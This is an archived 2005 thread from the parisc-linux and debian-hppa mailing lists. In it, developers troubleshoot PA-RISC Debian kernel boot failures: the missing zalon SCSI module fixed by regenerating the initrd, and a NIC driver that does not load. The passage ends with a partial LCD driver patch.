List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6UU6YuJYeSE5+76WZHQhaXN2IGRvb4Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22532

On Mon, Mar 28, 2005 at 03:03:11PM +0000, Joel Soete wrote:
> 
> 
> Anders wrote:
> >On Mon, Mar 28, 2005 at 01:04:27PM +0000, Joel Soete wrote:
> >
> >>
> ...
> >
> >Well yes the system hung after those messages the FLT parts are from the 
> >firmware during the reboot, so i only included them to show it was 
> >rebooting.  i will be back with a test from a up kernel soon.
> 
> mmm another question: are you using a initrd.img?
> fwiw I encounter the same message as you reported:
well i dont use initrd.
> ...
> SCSI subsystem initialized
> unwind_init: start = 0x103bad60, end = 0x103ddd50, entries = 8959
> devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
> devfs: boot_options: 0x1
> ...
> while testing latest kyle debian-kernel? (tbh, I don't remember to have 
> encountered it before?)
> 
> Can you check if in your kernel config CONFIG_SCSI_ZALON=y
i do have config CONFIG_SCSI_ZALON=y
> and btw remove devfs support?
i will remove devfs and be back
> 
> Thanks,
> 	Joel
> 
> PS: iirc Willy also boot a k model may be ask him his config file (I don't 
> remember if he custumized or used the default one?)
willy if you read this pleas send your config file to me.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Mon, 28 Mar 2005 10:24:13 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <20050328152413.GB24913__669.919679831032$1416623727$gmane$org@roadwarrior.mcmartin.ca>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca> <424817E2.10705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623727 13588 80.91.229.3 (22 Nov 2014 02:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 15:42:34 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx038) with SMTP; 28 Mar 2005 17:42:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 1A9C82DFEF; Mon, 28 Mar 2005 09:42:25 -0600 (CST)
Old-Return-Path: <kyle@fattire.cabal.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by murphy.debian.org (Postfix) with ESMTP id 0F2D42DE13
	for <debian-hppa@lists.debian.org>; Mon, 28 Mar 2005 09:25:06 -0600 (CST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3789B17050;
	Mon, 28 Mar 2005 10:25:05 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29141-07; Mon, 28 Mar 2005 10:24:54 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 9D24F17081; Mon, 28 Mar 2005 10:24:54 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-875897308-52656d6f746546617454697265-494e424f582e4f7574626f78: 1112023489-0542149505172-v4.0.8
Content-Disposition: inline
In-Reply-To: <424817E2.10705@tiscali.be>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.1 required=4.0 tests=AWL,BAYES_10,IMPRONONCABLE_2 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <2z_VWB.A.t3E.hXCSCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4352
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 28 Mar 2005 09:42:25 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: vUA6YrEYeSE5+76WZHQhaXN2IGRvbwDm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22533

On Mon, Mar 28, 2005 at 02:42:42PM +0000, Joel Soete wrote:
> mdadm: cannot open device /dev/scsi/sdh0-f3f8c800c0i5l0p2: No such device 
> or adsmdadm: /dev/scsi/sdh0-f3f8c800c0i5l0p2 has wrong uuid.
> mdadm: cannot open device /dev/smd: md2 stopped.
> csi/sdh0-f3f8c800c0i6l0p2: No such device or address
> mdadm: /dev/scsi/sdh0-f3f8c800c0i6l0p2 has wrong uuid.
> mdadm: no devices found for /devfs/md/1
> mdadm: cannot open device /dev/scsi/sdh0-f3f8c800c0i5l0p5: No such device 
> or adsmdadm: /dev/scsi/sdh0-f3f8c800c0i5l0p5 has wrong uuid.
> mdadm: cannot open device /dev/scsi/sdh0-f3f8c800c0i6l0p5: No such device 
> or adsmdadm: /dev/scsi/sdh0-f3f8c800c0i6l0p5 has wrong uuid.
> mdadm: no devices found for /devfs/md/2
> EXT3-fs: unable to read superblock
> EXT2-fs: unable to read superblock
> isofs_fill_super: bread failed, dev=md2, iso_blknum=16, block=32
> pivot_root: No sKernel panic: Attempted to kill init!
> uch file or dire ctory
> /sbin/ini<0>Rebooting in 120 seconds..t: 431: cannot open dev/console: No 
> such e
>

That's very strange, I'll look into it. It might be caused by the zalon
module not being loaded. See below.
 
> TCP: Hash tables configured (established 131072 bind 65536)
> Root-NFS: No NFS server available, giving up.
> VFS: Unable to mount root fs via NFS, trying floppy.
> VFS: Cannot open root device "md2" or unknown-block(2,0)
> Please append a correct "root=" boot option
> Kernel panic: VFS: Unable to mount root fs on unknown-block(2,0)
> 
> well my custom config is CONFIG_SCSI_ZALON=y while your CONFIG_SCSI_ZALON=m 
> so should be loaded?
> 

Mmm. Yeah, you need the initrd, as that will contain the zalon module.

Could you add "zalon7xx" to /etc/mkinitrd/modules and regenerate the
initrd either by reinstalling the kernel image or with a command like

	# mkinitrd -o /boot/initrd.img-2.6.8-2-32 2.6.8-2-32

This may not be the exact line you need, I'm sorry I don't have time
to look what it precisely is.

Thanks for testing!

Cheers,
-- 
Kyle McMartin


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Mon, 28 Mar 2005 17:21:36 +0000
Lines: 100
Approved: news@gmane.org
Message-ID: <42483D20.1080104__22156.428153585$1416623728$gmane$org@tiscali.be>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
	<424817E2.10705@tiscali.be>
	<20050328152413.GB24913@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623728 13589 80.91.229.3 (22 Nov 2014 02:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 17:21:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 28 Mar 2005 19:21:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E0377D6C0;
	Mon, 28 Mar 2005 10:23:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28824-04; Mon, 28 Mar 2005 10:23:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FDEB7D6C1;
	Mon, 28 Mar 2005 10:23:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE3C17D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 10:23:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28824-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 10:23:16 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id F3F017D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 10:23:15 -0700 (MST)
Original-Received: from [83.134.227.83] (helo=[83.134.227.83])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DFxvl-0000Kp-8G; Mon, 28 Mar 2005 19:21:37 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <20050328152413.GB24913@roadwarrior.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: elg6Yv9+eSE5+76WZHQhaXN2IGRvb0CO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22534



Kyle McMartin wrote:
> On Mon, Mar 28, 2005 at 02:42:42PM +0000, Joel Soete wrote:
> 
...
> 
> 
> That's very strange, I'll look into it. It might be caused by the zalon
> module not being loaded. See below.
>  
> 
>>TCP: Hash tables configured (established 131072 bind 65536)
>>Root-NFS: No NFS server available, giving up.
>>VFS: Unable to mount root fs via NFS, trying floppy.
>>VFS: Cannot open root device "md2" or unknown-block(2,0)
>>Please append a correct "root=" boot option
>>Kernel panic: VFS: Unable to mount root fs on unknown-block(2,0)
>>
>>well my custom config is CONFIG_SCSI_ZALON=y while your CONFIG_SCSI_ZALON=m 
>>so should be loaded?
>>
> 
> 
> Mmm. Yeah, you need the initrd, as that will contain the zalon module.
> 
> Could you add "zalon7xx" to /etc/mkinitrd/modules and regenerate the
> initrd either by reinstalling the kernel image or with a command like
> 
> 	# mkinitrd -o /boot/initrd.img-2.6.8-2-32 2.6.8-2-32
> 
That nake the trick ;-) :


          _sudZUZ#Z#XZo=_         DDDD   EEEEEE BBBB   IIIIII  AAAA   NN   NN
       _jmZZ2!!~---~!!X##wa       DD DD  EE     BB BB    II   AA  AA  NNN  NN
    .<wdP~~            -!YZL,     DD  DD EEEEE  BBBBB    II   AAAAAA  NNNN NN
   .mX2'       _%aaa__     XZ[.   DD DD  EE     BB  BB   II   AA  AA  NN NNNN
   oZ[      _jdXY!~?S#wa   ]Xb;   DDDD   EEEEEE BBBBB  IIIIII AA  AA  NN   NN
  _#e'     .]X2(     ~Xw|  )XXc
.2Z`      ]X[.       xY|  ]oZ(   Linux Version 2.6.8-2-32
.2#;      )3k;     _s!~   jXf`   Compiled #1 Sun Mar 27 06:04:08 EST 2005
  1Z>      -]Xb/    ~    __#2(    One 120MHz PA-RISC Raven 120 T' Processor, 512M
  -Zo;       +!4ZwaaaauZZXY'      119.60 Bogomips Total
   *#[,        ~-?!!!!!!-~        hpalin
    XUb;.
     )YXL,,
       +3#bc,
         -)SSL,,
            ~~~~~
Updating the linuxlogo... linuxlogo.

Debian GNU/Linux 3.1 hpalin ttyS0

hpalin login: root
Password:
Last login: Mon Mar 28 18:30:13 2005 on ttyS0
Linux hpalin 2.6.8-2-32 #1 Sun Mar 27 06:04:08 EST 2005 parisc GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
root@hpalin:~# uname -a
Linux hpalin 2.6.8-2-32 #1 Sun Mar 27 06:04:08 EST 2005 parisc GNU/Linux

Cool :-)

just still have a small trouble with (builtin) nic:
...
Configuring network interfaces...SIOCSIFADDR: No such device
eth0: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: No such device
SIOCSIFBRDADDR: No such device
eth0: ERROR while getting interface flags: No such device
eth0: ERROR while getting interface flags: No such device
Failed to bring up eth0.
done.
...

but no more time today :-(

> This may not be the exact line you need, I'm sorry I don't have time
> to look what it precisely is.
> 
np this was the right one :-)

> Thanks for testing!
> 
Welcome,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Mon, 28 Mar 2005 10:39:14 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20050328173914.GD10159__9325.78132856197$1416623728$gmane$org@colo.lackof.org>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
	<424817E2.10705@tiscali.be>
	<20050328152413.GB24913@roadwarrior.mcmartin.ca>
	<42483D20.1080104@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623728 13593 80.91.229.3 (22 Nov 2014 02:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:28 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 17:37:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 28 Mar 2005 19:37:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FCD77D6C5;
	Mon, 28 Mar 2005 10:39:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29139-07; Mon, 28 Mar 2005 10:39:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1CA67D6C7;
	Mon, 28 Mar 2005 10:39:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D0697D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 10:39:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29229-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 10:39:04 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CFCBE7D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 10:39:04 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5793B29803F;
	Mon, 28 Mar 2005 10:39:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11197-05; Mon, 28 Mar 2005 10:39:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EC5BA298010; Mon, 28 Mar 2005 10:39:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <42483D20.1080104@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iCU6Yq40eSE5+76WZHQhaXN2IGRvbwCL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22535

On Mon, Mar 28, 2005 at 05:21:36PM +0000, Joel Soete wrote:
> just still have a small trouble with (builtin) nic:
> ...
> Configuring network interfaces...SIOCSIFADDR: No such device

The error normally means the driver didn't get loaded.
Several possible causes/fixes:
o See if module versioning is enabled and failed to load because
  of kernel/module version mismatch
o if it needs to be (but wasn't) included in the initrd.
o install hotplug package to autoload PCI drivers
o add driver to /etc/modules if you don't like hotplug package
  or want explicitly control over the order drivers get loaded.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another minor LCD patch
Date: Mon, 28 Mar 2005 19:25:46 +0000
Lines: 117
Approved: news@gmane.org
Message-ID: <200503282025.49081.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1760184859=="
X-Trace: ger.gmane.org 1416623728 13595 80.91.229.3 (22 Nov 2014 02:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 19:26:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 28 Mar 2005 21:26:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DA767D6DA;
	Mon, 28 Mar 2005 12:28:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30693-06; Mon, 28 Mar 2005 12:28:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 128D57D6D7;
	Mon, 28 Mar 2005 12:28:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA4EE7D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 12:28:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30474-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 12:28:01 -0700 (MST)
Original-Received: from ranger.systems.pipex.net (ranger.systems.pipex.net
	[62.241.162.32])
	by free.linux.hp.com (Postfix) with ESMTP id 486527D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 12:28:01 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by ranger.systems.pipex.net (Postfix) with ESMTP id 58441E0000C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 20:26:22 +0100 (BST)
User-Agent: KMail/1.7.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Pz86YspFeSE5+76WZHQhaXN2IGRvb8D+
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22536

--===============1760184859==
Content-Type: multipart/signed; boundary="nextPart2111924.luNmiN4xfp";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2111924.luNmiN4xfp
Content-Type: multipart/mixed;
  boundary="Boundary-01=_6oFSCo7w00TO0gK"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_6oFSCo7w00TO0gK
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

Please find another small patch for lcd.c (against 2.6.12-rc1-pa6).

This fixes two things:

1) Ensure the work queue item is submitted to the workqueue by trying to=20
submit it in register_led_driver.  If register_led_driver is called by lasi=
=2Ec=20
etc *after* the device_initcall has created the workqueue (and submitted th=
e=20
workqueue task for the first time), the work can disappear from the queue i=
f=20
led_func_ptr is null when it is first run, as it doesn't resubmit itself if=
=20
this is the case.   I cannot see any way that queue_work can end up being=20
called twice, but even if it is, the second will quietly fail if the work=20
item is already in the queue.

2) Move the initial lcd_print to the device_initcall'ed function. This make=
s=20
it appear a fraction later in the boot process, thereby avoiding it being=20
trampled by any early-boot chassis codes (INI CC01 on my j5000).

Cheers,

David

--Boundary-01=_6oFSCo7w00TO0gK
Content-Type: text/x-diff;
  charset="us-ascii";
  name="lcd_patch_reloaded"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="lcd_patch_reloaded"

diff -urpN linux-2.6.12-rc1-pa6/drivers/parisc/led.c newtree/drivers/parisc=
/led.c
=2D-- linux-2.6.12-rc1-pa6/drivers/parisc/led.c	2005-03-28 07:50:20.0000000=
00 +0100
+++ newtree/drivers/parisc/led.c	2005-03-28 18:38:29.000000000 +0100
@@ -130,6 +130,9 @@ lcd_info __attribute__((aligned(8))) =3D
 /* The workqueue must be created at init-time */
 static int start_task(void)=20
 {=09
+	/* Display the default text now */
+	if (led_type =3D=3D LED_HASLCD) lcd_print( lcd_text_default );
+
 	/* Create the work queue and queue the LED task */
 	led_wq =3D create_singlethread_workqueue("led_wq");=09
 	queue_work(led_wq, &led_task);
@@ -548,7 +551,6 @@ int __init register_led_driver(int model
